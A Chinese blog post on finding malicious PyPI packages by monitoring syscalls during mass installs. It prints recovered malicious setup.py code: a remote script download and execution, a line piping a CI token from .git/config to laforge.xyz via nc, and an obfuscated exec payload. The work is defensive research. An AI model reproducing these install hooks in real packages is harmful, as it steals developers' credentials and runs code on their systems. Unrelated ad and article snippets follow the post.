有人在代码里下毒!慎用 pip install 命令
小詹学Python
共 5026字,需浏览 11分钟
· 2020-11-26
https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240
),主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包,对流行的库进行Typosquatting
攻击钓鱼劫持,还是对第三方库进行撞库攻击,很明显,这都是一个值得思考的问题,几乎影响到每个开发者。使用pip install
安装软件包时,大多数人不清楚自己所需的python模块在哪个软件包中,有时候甚至是模糊搜索安装,这就给恶意利用的人提供了机会。setup.py
文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware
)中看到一些示例。npm
上手动使用grep
命令搜寻到了恶意软件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在这篇文章中,我将重点介绍动态分析。毕竟我认为它会有效果,因为你正在查看实际发生的事情,而不是仅仅寻找未来可能发生的事。pip
)通过内核执行重要操作是通过使用syscall
来完成的。使用syscall
可以完成打开文件、建立网络连接和执行命令的所有操作!Julia Evans
的漫画中了解syscall
的更多内容:syscalls
),就可以查看是否发生了任何可疑事件。syscalls
)这个方法并不是我想到的。自2017年以来,亚当·鲍德温(Adam Baldwin)等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文(https://arxiv.org/pdf/2002.01139.pdf
),采用了同样的方法。老实说,大多数博客文章只是试图重现他们的想法。syscalls
),那么到底该怎么做呢?Sysdig
监测Syscall
sysdig
,因为它既提供结构化输出,又提供了一些非常好的过滤功能。Docker
容器时,我还启动了一个sysdig
进程,该进程仅监测该容器中的事件。我也过滤掉了要从pypi.org
或files.pythonhosted.com
进行的网络读取/写入,因为我不想被与软件包下载相关的事件写满日志。Simple API
(https://www.python.org/dev/peps/pep-0503/
)的API,可以将其视为“一个非常大的HTML页面,其中包含指向每个包的链接”。它简单,干净而且比我可能会写的任何HTML都要好。pup
解析所有链接,从而为我们提供约268,000个软件包:> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt
> wc -l pypi_full.txt
268038 pypi_full.txt
pip install
安装软件包同时启动sysdig
,以监测syscall
和网络流量。然后,所有数据都被运送到S3
以供未来使用。S3
存储库中获取几TB的数据,覆盖大约245,000个软件包。尽管有的软件包没有发布版本,有的软件包具有各种bug,但是这似乎也是一个很好的样本。grep
操作){
"metadata": {},
"output": {
"dns": [], // Any DNS requests made
"files": [], // All file access operations
"connections": [], // TCP connections established
"commands": [], // Any commands executed
}
}
https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1
)是安装过程中看到的DNS请求明细。i-am-malicious
i-am-malicious
的软件包似乎是恶意软件包的证明。以下是一些有趣的细节,使我们认为该程序包值得研究(如果名称不够的话......):{
"dns": [{
"name": "gist.githubusercontent.com",
"addresses": [
"199.232.64.133"
]
}]
],
"files": [
...
{
"filename": "/tmp/malicious.py",
"flag": "O_RDONLY|O_CLOEXEC"
},
...
{
"filename": "/tmp/malicious-was-here",
"flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
},
...
],
"commands": [
"python /tmp/malicious.py"
]
}
gist.github.com
的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here
的文件。当然,这就是setup.py
中发生的事情:from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
malicious.py
程序只是向/ tmp / malicious-was-here
添加了““I was here”类型的消息,表明这确实是一个证明。maliciouspackage
maliciouspackage
更邪恶。这是相关的输出:{
"dns": [{
"name": "laforge.xyz",
"addresses": [
"34.82.112.63"
]
}],
"files": [
{
"filename": "/app/.git/config",
"flag": "O_RDONLY"
},
],
"commands": [
"sh -c apt install -y socat",
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
"grep ci-token /app/.git/config",
"nc laforge.xyz 5566"
]
}
.git / config
文件中提取令牌并将其上传到laforge.xyz
。浏览setup.py
,我们发现确实是这样:...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
easyIoCtl
是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”,但我们看到以下命令正在执行:[
"sh -c touch /tmp/testing123",
"touch /tmp/testing123"
]
setup.py
中的相关代码:class MyInstall():
def run(self):
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
control_flow_guard_init = ""
for controL_flow_code in control_flow_guard_mappers:
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
exec(control_flow_guard_init)
exec
的调用,但仅此而已。exec
,结果是:import os;os.system('touch /tmp/testing123')
security@python.org
来完成。maliciouspackage
的次数:#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
pip install smb
或者 pip download smb
, 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情,或者将来会发生。如果您有兴趣挖掘数据,可以在这里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing
)找到。Lambda
函数,以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理,如果检测到可疑活动,则会发送警报。pip install
命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的,但它带来了风险。希望越来越多地监测各种第三方程序包管理器,并识别出恶意活动的迹象。https://github.com/jordan-wright/ossmalware
)找到用于运行实验的所有代码。
往期推荐:
评论
上班的时候,有一群摸鱼搭子非常重要...
上班的时候,有一群摸鱼搭子非常重要!一到上班时间,他们就从四面八方涌进群里冒泡...从八卦聊到股市、从职场聊到乌X兰局势,偶尔还会复读、相亲、battle...然后,下午6点钟准时消失不见...所以你要不要加入我们一起摸鱼?我们有北京、上海、深圳、广州、杭州、武汉、成都、南京等8个城市的摸鱼群,还有
产品经理日记
0
知乎高问:程序员有必要知道为什么做某个功能吗?
将Python客栈设为“星标⭐”第一时间收到最新资讯前言知乎上有一个提问:程序员有必要知道为什么做某个功能吗?↓↓↓今天,我们就这个话题一起来做个讨论。不知道程序员的你,在接到产品经理提的一个需求后,是习惯马上动手开始撸代码呢?还是会先暂停一下,认真思考一会如下一些问题,比如这个需求产生的背景是什么
Python客栈
0
盱眙城区一辆解放牌五小车辆对外转让,有需要的老板跟车主联系。
解放牌五小车辆原厂自卸车,年审及保险最新。无任何事故及违章,正常干活车辆,无毛病,手续齐全,车况良好,价格不高,需要的欢迎看车购买。买好车加满油让你开回家。车辆地址:盱眙天鹅湖附近。车主电话:13770461668潘先生
盱眙老妹
0
会写代码的总理!全球第一“开源”名门望族
转自:OSC开源社区4 月 15 日,新加坡总理公署发表声明宣布,总理李显龙将于 5 月 15 日辞职,并正式交棒给副总理兼财政部长黄循财。对于李氏家族下一代是否会继续活跃在新加坡政坛,目前外界说法不一。但在开源圈里,李氏家族绝对有一席之地。李显龙有 4 名子女,其本人、次子,以及幼子都有非常专业的
开源前哨
0
面试官:限流的常见算法有哪些?
限流的实现算法有很多,但常见的限流算法有三种:计数器算法、漏桶算法和令牌桶算法。1.计数器算法计数器算法是在一定的时间间隔里,记录请求次数,当请求次数超过该时间限制时,就把计数器清零,然后重新计算。当请求次数超过间隔内的最大次数时,拒绝访问。计数器算法的实现比较简单,但存在“突刺现象”。突刺现象是指
Stephen
0
上班的时候,有一群摸鱼搭子非常重要...
上班的时候,有一群摸鱼搭子非常重要!一到上班时间,他们就从四面八方涌进群里冒泡...从八卦聊到股市、从职场聊到乌X兰局势,偶尔还会复读、相亲、battle...然后,下午6点钟准时消失不见...所以你要不要加入我们一起摸鱼?我们有北京、上海、深圳、广州、杭州、武汉、成都、南京等8个城市的摸鱼群,还有
产品经理日记
0
原来Matplotlib能画股票K线图!!附代码
之前在一篇文章中提到Matplotlib可视化,甚至可以用来画股票K线图,许多同学也在问代码,这次来发个文回应下。Python用matplotlib绘制K线图,需要配合talib、numpy、mpl_finance等第三方库来使用,效果展示如下:简单讲讲K线图的结构,我不搞股票,所以不太懂,特地查了
Python大数据分析
9
分享一份抓取某东商品名称、价格和评论数的代码
点击上方“Python共享之家”,进行关注回复“资源”即可获赠Python学习资料今日鸡汤芳草已云暮,故人殊未来。大家好,我是皮皮。一、前言前几天在Python白银交流群【邮递员】问了一个Python网络爬虫的问题,提问截图如下:代码如下:import requestsfrom
IT共享之家
0